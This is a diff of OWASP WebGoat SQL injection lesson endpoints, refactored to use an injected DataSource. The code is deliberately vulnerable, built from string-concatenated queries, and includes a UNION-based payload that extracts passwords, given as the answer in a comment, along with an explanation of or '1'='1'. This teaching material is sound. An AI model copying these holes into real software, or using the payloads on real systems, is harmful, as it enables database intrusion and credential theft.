public AttackResult completed(@RequestParam String userid_6a) throws IOException {
|
public AttackResult completed(@RequestParam String userid_6a) {
|
||||||
return injectableQuery(userid_6a);
|
return injectableQuery(userid_6a);
|
||||||
// The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
|
// The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
|
||||||
}
|
}
|
||||||
|
|
||||||
protected AttackResult injectableQuery(String accountName) {
|
protected AttackResult injectableQuery(String accountName) {
|
||||||
String query = "";
|
String query = "";
|
||||||
try(Connection connection = DatabaseUtilities.getConnection(getWebSession())) {
|
try (Connection connection = dataSource.getConnection()) {
|
||||||
boolean usedUnion = true;
|
boolean usedUnion = true;
|
||||||
query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'";
|
query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'";
|
||||||
//Check if Union is used
|
//Check if Union is used
|
||||||
if(!accountName.matches("(?i)(^[^-/*;)]*)(\\s*)UNION(.*$)")) {
|
if (!accountName.matches("(?i)(^[^-/*;)]*)(\\s*)UNION(.*$)")) {
|
||||||
usedUnion = false;
|
usedUnion = false;
|
||||||
}
|
}
|
||||||
try(Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||||
ResultSet.CONCUR_READ_ONLY)) {
|
ResultSet.CONCUR_READ_ONLY)) {
|
||||||
ResultSet results = statement.executeQuery(query);
|
ResultSet results = statement.executeQuery(query);
|
||||||
|
|
||||||
@ -65,7 +73,7 @@ public class SqlInjectionLesson6a extends AssignmentEndpoint {
|
|||||||
output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData));
|
output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData));
|
||||||
|
|
||||||
String appendingWhenSucceded;
|
String appendingWhenSucceded;
|
||||||
if(usedUnion)
|
if (usedUnion)
|
||||||
appendingWhenSucceded = "Well done! Can you also figure out a solution, by appending a new Sql Statement?";
|
appendingWhenSucceded = "Well done! Can you also figure out a solution, by appending a new Sql Statement?";
|
||||||
else
|
else
|
||||||
appendingWhenSucceded = "Well done! Can you also figure out a solution, by using a UNION?";
|
appendingWhenSucceded = "Well done! Can you also figure out a solution, by using a UNION?";
|
||||||
|
@ -24,11 +24,13 @@
|
|||||||
package org.owasp.webgoat.sql_injection.advanced;
|
package org.owasp.webgoat.sql_injection.advanced;
|
||||||
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import javax.sql.DataSource;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.sql.Connection;
|
import java.sql.Connection;
|
||||||
import java.sql.ResultSet;
|
import java.sql.ResultSet;
|
||||||
@ -39,10 +41,16 @@ import java.sql.Statement;
|
|||||||
@RestController
|
@RestController
|
||||||
public class SqlInjectionLesson6b extends AssignmentEndpoint {
|
public class SqlInjectionLesson6b extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
private final DataSource dataSource;
|
||||||
|
|
||||||
|
public SqlInjectionLesson6b(DataSource dataSource) {
|
||||||
|
this.dataSource = dataSource;
|
||||||
|
}
|
||||||
|
|
||||||
@PostMapping("/SqlInjectionAdvanced/attack6b")
|
@PostMapping("/SqlInjectionAdvanced/attack6b")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@RequestParam String userid_6b) throws IOException {
|
public AttackResult completed(@RequestParam String userid_6b) throws IOException {
|
||||||
if (userid_6b.toString().equals(getPassword())) {
|
if (userid_6b.equals(getPassword())) {
|
||||||
return trackProgress(success().build());
|
return trackProgress(success().build());
|
||||||
} else {
|
} else {
|
||||||
return trackProgress(failed().build());
|
return trackProgress(failed().build());
|
||||||
@ -50,18 +58,15 @@ public class SqlInjectionLesson6b extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
protected String getPassword() {
|
protected String getPassword() {
|
||||||
|
|
||||||
String password = "dave";
|
String password = "dave";
|
||||||
try {
|
try (Connection connection = dataSource.getConnection()) {
|
||||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
|
||||||
String query = "SELECT password FROM user_system_data WHERE user_name = 'dave'";
|
String query = "SELECT password FROM user_system_data WHERE user_name = 'dave'";
|
||||||
|
|
||||||
try {
|
try {
|
||||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||||
ResultSet.CONCUR_READ_ONLY);
|
ResultSet.CONCUR_READ_ONLY);
|
||||||
ResultSet results = statement.executeQuery(query);
|
ResultSet results = statement.executeQuery(query);
|
||||||
|
|
||||||
if ((results != null) && (results.first() == true)) {
|
if (results != null && results.first()) {
|
||||||
password = results.getString("password");
|
password = results.getString("password");
|
||||||
}
|
}
|
||||||
} catch (SQLException sqle) {
|
} catch (SQLException sqle) {
|
||||||
|
@ -23,16 +23,10 @@
|
|||||||
package org.owasp.webgoat.sql_injection.advanced;
|
package org.owasp.webgoat.sql_injection.advanced;
|
||||||
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.sql.Connection;
|
|
||||||
import java.sql.ResultSet;
|
|
||||||
import java.sql.SQLException;
|
|
||||||
import java.sql.Statement;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* add a question: 1. Append new question to JSON string
|
* add a question: 1. Append new question to JSON string
|
||||||
|
@ -26,15 +26,27 @@ package org.owasp.webgoat.sql_injection.introduction;
|
|||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import java.sql.*;
|
import javax.sql.DataSource;
|
||||||
|
import java.sql.Connection;
|
||||||
|
import java.sql.ResultSet;
|
||||||
|
import java.sql.SQLException;
|
||||||
|
import java.sql.Statement;
|
||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints(value = {"SqlStringInjectionHint.10.1", "SqlStringInjectionHint.10.2", "SqlStringInjectionHint.10.3", "SqlStringInjectionHint.10.4", "SqlStringInjectionHint.10.5", "SqlStringInjectionHint.10.6"})
|
@AssignmentHints(value = {"SqlStringInjectionHint.10.1", "SqlStringInjectionHint.10.2", "SqlStringInjectionHint.10.3", "SqlStringInjectionHint.10.4", "SqlStringInjectionHint.10.5", "SqlStringInjectionHint.10.6"})
|
||||||
public class SqlInjectionLesson10 extends AssignmentEndpoint {
|
public class SqlInjectionLesson10 extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
private final DataSource dataSource;
|
||||||
|
|
||||||
|
public SqlInjectionLesson10(DataSource dataSource) {
|
||||||
|
this.dataSource = dataSource;
|
||||||
|
}
|
||||||
|
|
||||||
@PostMapping("/SqlInjection/attack10")
|
@PostMapping("/SqlInjection/attack10")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@RequestParam String action_string) {
|
public AttackResult completed(@RequestParam String action_string) {
|
||||||
@ -45,9 +57,7 @@ public class SqlInjectionLesson10 extends AssignmentEndpoint {
|
|||||||
StringBuffer output = new StringBuffer();
|
StringBuffer output = new StringBuffer();
|
||||||
String query = "SELECT * FROM access_log WHERE action LIKE '%" + action + "%'";
|
String query = "SELECT * FROM access_log WHERE action LIKE '%" + action + "%'";
|
||||||
|
|
||||||
try {
|
try (Connection connection = dataSource.getConnection()) {
|
||||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
|
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
|
||||||
ResultSet results = statement.executeQuery(query);
|
ResultSet results = statement.executeQuery(query);
|
||||||
@ -59,16 +69,14 @@ public class SqlInjectionLesson10 extends AssignmentEndpoint {
|
|||||||
} else {
|
} else {
|
||||||
if (tableExists(connection)) {
|
if (tableExists(connection)) {
|
||||||
return trackProgress(failed().feedback("sql-injection.10.entries").output(output.toString()).build());
|
return trackProgress(failed().feedback("sql-injection.10.entries").output(output.toString()).build());
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
return trackProgress(success().feedback("sql-injection.10.success").build());
|
return trackProgress(success().feedback("sql-injection.10.success").build());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} catch (SQLException e) {
|
} catch (SQLException e) {
|
||||||
if (tableExists(connection)) {
|
if (tableExists(connection)) {
|
||||||
return trackProgress(failed().feedback("sql-injection.error").output("<span class='feedback-negative'>" + e.getMessage() + "</span><br>" + output.toString()).build());
|
return trackProgress(failed().feedback("sql-injection.error").output("<span class='feedback-negative'>" + e.getMessage() + "</span><br>" + output.toString()).build());
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
return trackProgress(success().feedback("sql-injection.10.success").build());
|
return trackProgress(success().feedback("sql-injection.10.success").build());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -80,7 +88,7 @@ public class SqlInjectionLesson10 extends AssignmentEndpoint {
|
|||||||
|
|
||||||
private boolean tableExists(Connection connection) {
|
private boolean tableExists(Connection connection) {
|
||||||
try {
|
try {
|
||||||
Statement stmt = connection.createStatement();
|
Statement stmt = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
|
||||||
ResultSet results = stmt.executeQuery("SELECT * FROM access_log");
|
ResultSet results = stmt.executeQuery("SELECT * FROM access_log");
|
||||||
int cols = results.getMetaData().getColumnCount();
|
int cols = results.getMetaData().getColumnCount();
|
||||||
return (cols > 0);
|
return (cols > 0);
|
||||||
|
@ -26,49 +26,53 @@ package org.owasp.webgoat.sql_injection.introduction;
|
|||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import java.sql.*;
|
import javax.sql.DataSource;
|
||||||
|
import java.sql.ResultSet;
|
||||||
|
import java.sql.SQLException;
|
||||||
|
import java.sql.Statement;
|
||||||
|
|
||||||
|
import static java.sql.ResultSet.CONCUR_READ_ONLY;
|
||||||
|
import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE;
|
||||||
|
|
||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints(value = {"SqlStringInjectionHint2-1", "SqlStringInjectionHint2-2", "SqlStringInjectionHint2-3", "SqlStringInjectionHint2-4"})
|
@AssignmentHints(value = {"SqlStringInjectionHint2-1", "SqlStringInjectionHint2-2", "SqlStringInjectionHint2-3", "SqlStringInjectionHint2-4"})
|
||||||
public class SqlInjectionLesson2 extends AssignmentEndpoint {
|
public class SqlInjectionLesson2 extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
private final DataSource dataSource;
|
||||||
|
|
||||||
|
public SqlInjectionLesson2(DataSource dataSource) {
|
||||||
|
this.dataSource = dataSource;
|
||||||
|
}
|
||||||
|
|
||||||
@PostMapping("/SqlInjection/attack2")
|
@PostMapping("/SqlInjection/attack2")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@RequestParam String query) {
|
public AttackResult completed(@RequestParam String query) {
|
||||||
return injectableQuery(query);
|
return injectableQuery(query);
|
||||||
}
|
}
|
||||||
|
|
||||||
protected AttackResult injectableQuery(String _query) {
|
protected AttackResult injectableQuery(String query) {
|
||||||
try {
|
try (var connection = dataSource.getConnection()) {
|
||||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY);
|
||||||
String query = _query;
|
ResultSet results = statement.executeQuery(query);
|
||||||
|
StringBuffer output = new StringBuffer();
|
||||||
|
|
||||||
try {
|
results.first();
|
||||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
|
||||||
ResultSet.CONCUR_READ_ONLY);
|
|
||||||
ResultSet results = statement.executeQuery(_query);
|
|
||||||
StringBuffer output = new StringBuffer();
|
|
||||||
|
|
||||||
results.first();
|
if (results.getString("department").equals("Marketing")) {
|
||||||
|
output.append("<span class='feedback-positive'>" + query + "</span>");
|
||||||
if (results.getString("department").equals("Marketing")) {
|
output.append(SqlInjectionLesson8.generateTable(results));
|
||||||
output.append("<span class='feedback-positive'>" + _query + "</span>");
|
return trackProgress(success().feedback("sql-injection.2.success").output(output.toString()).build());
|
||||||
output.append(SqlInjectionLesson8.generateTable(results));
|
} else {
|
||||||
return trackProgress(success().feedback("sql-injection.2.success").output(output.toString()).build());
|
return trackProgress(failed().feedback("sql-injection.2.failed").output(output.toString()).build());
|
||||||
} else {
|
|
||||||
return trackProgress(failed().feedback("sql-injection.2.failed").output(output.toString()).build());
|
|
||||||
}
|
|
||||||
|
|
||||||
} catch (SQLException sqle) {
|
|
||||||
|
|
||||||
return trackProgress(failed().feedback("sql-injection.2.failed").output(sqle.getMessage()).build());
|
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (SQLException sqle) {
|
||||||
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage()).build());
|
return trackProgress(failed().feedback("sql-injection.2.failed").output(sqle.getMessage()).build());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -26,16 +26,31 @@ package org.owasp.webgoat.sql_injection.introduction;
|
|||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import java.sql.*;
|
import javax.sql.DataSource;
|
||||||
|
import java.sql.Connection;
|
||||||
|
import java.sql.ResultSet;
|
||||||
|
import java.sql.SQLException;
|
||||||
|
import java.sql.Statement;
|
||||||
|
|
||||||
|
import static java.sql.ResultSet.CONCUR_READ_ONLY;
|
||||||
|
import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE;
|
||||||
|
|
||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints(value = {"SqlStringInjectionHint3-1", "SqlStringInjectionHint3-2"})
|
@AssignmentHints(value = {"SqlStringInjectionHint3-1", "SqlStringInjectionHint3-2"})
|
||||||
public class SqlInjectionLesson3 extends AssignmentEndpoint {
|
public class SqlInjectionLesson3 extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
private final DataSource dataSource;
|
||||||
|
|
||||||
|
public SqlInjectionLesson3(DataSource dataSource) {
|
||||||
|
this.dataSource = dataSource;
|
||||||
|
}
|
||||||
|
|
||||||
@PostMapping("/SqlInjection/attack3")
|
@PostMapping("/SqlInjection/attack3")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@RequestParam String query) {
|
public AttackResult completed(@RequestParam String query) {
|
||||||
@ -43,15 +58,10 @@ public class SqlInjectionLesson3 extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
protected AttackResult injectableQuery(String _query) {
|
protected AttackResult injectableQuery(String _query) {
|
||||||
try {
|
try (Connection connection = dataSource.getConnection()) {
|
||||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {
|
||||||
String query = _query;
|
Statement check_statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE,
|
||||||
|
CONCUR_READ_ONLY);
|
||||||
try {
|
|
||||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
|
||||||
ResultSet.CONCUR_READ_ONLY);
|
|
||||||
Statement check_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
|
||||||
ResultSet.CONCUR_READ_ONLY);
|
|
||||||
statement.executeUpdate(_query);
|
statement.executeUpdate(_query);
|
||||||
ResultSet _results = check_statement.executeQuery("SELECT * FROM employees WHERE last_name='Barnett';");
|
ResultSet _results = check_statement.executeQuery("SELECT * FROM employees WHERE last_name='Barnett';");
|
||||||
StringBuffer output = new StringBuffer();
|
StringBuffer output = new StringBuffer();
|
||||||
@ -66,7 +76,6 @@ public class SqlInjectionLesson3 extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
} catch (SQLException sqle) {
|
} catch (SQLException sqle) {
|
||||||
|
|
||||||
return trackProgress(failed().output(sqle.getMessage()).build());
|
return trackProgress(failed().output(sqle.getMessage()).build());
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
@ -25,19 +25,28 @@ package org.owasp.webgoat.sql_injection.introduction;
|
|||||||
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import java.io.IOException;
|
import javax.sql.DataSource;
|
||||||
import java.sql.*;
|
import java.sql.*;
|
||||||
|
|
||||||
|
import static java.sql.ResultSet.*;
|
||||||
|
|
||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints(value = {"SqlStringInjectionHint4-1", "SqlStringInjectionHint4-2", "SqlStringInjectionHint4-3"})
|
@AssignmentHints(value = {"SqlStringInjectionHint4-1", "SqlStringInjectionHint4-2", "SqlStringInjectionHint4-3"})
|
||||||
public class SqlInjectionLesson4 extends AssignmentEndpoint {
|
public class SqlInjectionLesson4 extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
private final DataSource dataSource;
|
||||||
|
|
||||||
|
public SqlInjectionLesson4(DataSource dataSource) {
|
||||||
|
this.dataSource = dataSource;
|
||||||
|
}
|
||||||
|
|
||||||
@PostMapping("/SqlInjection/attack4")
|
@PostMapping("/SqlInjection/attack4")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@RequestParam String query) {
|
public AttackResult completed(@RequestParam String query) {
|
||||||
@ -45,16 +54,11 @@ public class SqlInjectionLesson4 extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
protected AttackResult injectableQuery(String _query) {
|
protected AttackResult injectableQuery(String _query) {
|
||||||
try {
|
try (Connection connection = dataSource.getConnection()) {
|
||||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {
|
||||||
try {
|
|
||||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
|
||||||
ResultSet.CONCUR_READ_ONLY);
|
|
||||||
Statement check_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
|
||||||
ResultSet.CONCUR_READ_ONLY);
|
|
||||||
statement.executeUpdate(_query);
|
statement.executeUpdate(_query);
|
||||||
ResultSet _results = check_statement.executeQuery("SELECT phone from employees;");
|
connection.commit();
|
||||||
ResultSetMetaData _resultMetaData = _results.getMetaData();
|
ResultSet _results = statement.executeQuery("SELECT phone from employees;");
|
||||||
StringBuffer output = new StringBuffer();
|
StringBuffer output = new StringBuffer();
|
||||||
// user completes lesson if column phone exists
|
// user completes lesson if column phone exists
|
||||||
if (_results.first()) {
|
if (_results.first()) {
|
||||||
@ -63,9 +67,7 @@ public class SqlInjectionLesson4 extends AssignmentEndpoint {
|
|||||||
} else {
|
} else {
|
||||||
return trackProgress(failed().output(output.toString()).build());
|
return trackProgress(failed().output(output.toString()).build());
|
||||||
}
|
}
|
||||||
|
|
||||||
} catch (SQLException sqle) {
|
} catch (SQLException sqle) {
|
||||||
|
|
||||||
return trackProgress(failed().output(sqle.getMessage()).build());
|
return trackProgress(failed().output(sqle.getMessage()).build());
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
@ -38,13 +38,13 @@ public class SqlInjectionLesson5 extends AssignmentEndpoint {
|
|||||||
|
|
||||||
@PostMapping("/SqlInjection/attack5")
|
@PostMapping("/SqlInjection/attack5")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@RequestParam("_query") String query) {
|
public AttackResult completed(String query) {
|
||||||
return injectableQuery(query);
|
return injectableQuery(query);
|
||||||
}
|
}
|
||||||
|
|
||||||
protected AttackResult injectableQuery(String query) {
|
protected AttackResult injectableQuery(String query) {
|
||||||
try {
|
try {
|
||||||
String regex = "(?i)^(grant alter table to [\"']?unauthorizedUser[\"']?)(?:[;]?)$";
|
String regex = "(?i)^(grant alter table to [']?unauthorizedUser[']?)(?:[;]?)$";
|
||||||
StringBuffer output = new StringBuffer();
|
StringBuffer output = new StringBuffer();
|
||||||
|
|
||||||
// user completes lesson if the query is correct
|
// user completes lesson if the query is correct
|
||||||
|
@ -24,12 +24,13 @@ package org.owasp.webgoat.sql_injection.introduction;
|
|||||||
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import java.io.IOException;
|
import javax.sql.DataSource;
|
||||||
import java.sql.*;
|
import java.sql.*;
|
||||||
|
|
||||||
|
|
||||||
@ -37,83 +38,83 @@ import java.sql.*;
|
|||||||
@AssignmentHints(value = {"SqlStringInjectionHint5a1"})
|
@AssignmentHints(value = {"SqlStringInjectionHint5a1"})
|
||||||
public class SqlInjectionLesson5a extends AssignmentEndpoint {
|
public class SqlInjectionLesson5a extends AssignmentEndpoint {
|
||||||
|
|
||||||
private static final String EXPLANATION = "<br> Explanation: This injection works, because <span style=\"font-style: italic\">or '1' = '1'</span> "
|
private static final String EXPLANATION = "<br> Explanation: This injection works, because <span style=\"font-style: italic\">or '1' = '1'</span> "
|
||||||
+ "always evaluates to true (The string ending literal for '1 is closed by the query itself, so you should not inject it). "
|
+ "always evaluates to true (The string ending literal for '1 is closed by the query itself, so you should not inject it). "
|
||||||
+ "So the injected query basically looks like this: <span style=\"font-style: italic\">SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE</span>, "
|
+ "So the injected query basically looks like this: <span style=\"font-style: italic\">SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE</span>, "
|
||||||
+ "which will always evaluate to true, no matter what came before it.";
|
+ "which will always evaluate to true, no matter what came before it.";
|
||||||
|
private final DataSource dataSource;
|
||||||
|
|
||||||
@PostMapping("/SqlInjection/assignment5a")
|
public SqlInjectionLesson5a(DataSource dataSource) {
|
||||||
@ResponseBody
|
this.dataSource = dataSource;
|
||||||
public AttackResult completed(@RequestParam String account, @RequestParam String operator, @RequestParam String injection) {
|
}
|
||||||
return injectableQuery(account + " " + operator + " " + injection);
|
|
||||||
}
|
|
||||||
|
|
||||||
protected AttackResult injectableQuery(String accountName) {
|
@PostMapping("/SqlInjection/assignment5a")
|
||||||
String query = "";
|
@ResponseBody
|
||||||
try {
|
public AttackResult completed(@RequestParam String account, @RequestParam String operator, @RequestParam String injection) {
|
||||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
return injectableQuery(account + " " + operator + " " + injection);
|
||||||
query = "SELECT * FROM user_data WHERE first_name = 'John' and last_name = '" + accountName + "'";
|
}
|
||||||
try(Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
|
||||||
ResultSet.CONCUR_READ_ONLY)) {
|
|
||||||
|
|
||||||
ResultSet results = statement.executeQuery(query);
|
protected AttackResult injectableQuery(String accountName) {
|
||||||
|
String query = "";
|
||||||
|
try (Connection connection = dataSource.getConnection()) {
|
||||||
|
query = "SELECT * FROM user_data WHERE first_name = 'John' and last_name = '" + accountName + "'";
|
||||||
|
try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) {
|
||||||
|
ResultSet results = statement.executeQuery(query);
|
||||||
|
|
||||||
if ((results != null) && (results.first())) {
|
if ((results != null) && (results.first())) {
|
||||||
ResultSetMetaData resultsMetaData = results.getMetaData();
|
ResultSetMetaData resultsMetaData = results.getMetaData();
|
||||||
StringBuilder output = new StringBuilder();
|
StringBuilder output = new StringBuilder();
|
||||||
|
|
||||||
output.append(writeTable(results, resultsMetaData));
|
output.append(writeTable(results, resultsMetaData));
|
||||||
results.last();
|
results.last();
|
||||||
|
|
||||||
|
// If they get back more than one user they succeeded
|
||||||
|
if (results.getRow() >= 6) {
|
||||||
|
return trackProgress(success().feedback("sql-injection.5a.success").output("Your query was: " + query + EXPLANATION).feedbackArgs(output.toString()).build());
|
||||||
|
} else {
|
||||||
|
return trackProgress(failed().output(output.toString() + "<br> Your query was: " + query).build());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return trackProgress(failed().feedback("sql-injection.5a.no.results").output("Your query was: " + query).build());
|
||||||
|
}
|
||||||
|
} catch (SQLException sqle) {
|
||||||
|
return trackProgress(failed().output(sqle.getMessage() + "<br> Your query was: " + query).build());
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage() + "<br> Your query was: " + query).build());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws SQLException {
|
||||||
|
int numColumns = resultsMetaData.getColumnCount();
|
||||||
|
results.beforeFirst();
|
||||||
|
StringBuilder t = new StringBuilder();
|
||||||
|
t.append("<p>");
|
||||||
|
|
||||||
|
if (results.next()) {
|
||||||
|
for (int i = 1; i < (numColumns + 1); i++) {
|
||||||
|
t.append(resultsMetaData.getColumnName(i));
|
||||||
|
t.append(", ");
|
||||||
|
}
|
||||||
|
|
||||||
|
t.append("<br />");
|
||||||
|
results.beforeFirst();
|
||||||
|
|
||||||
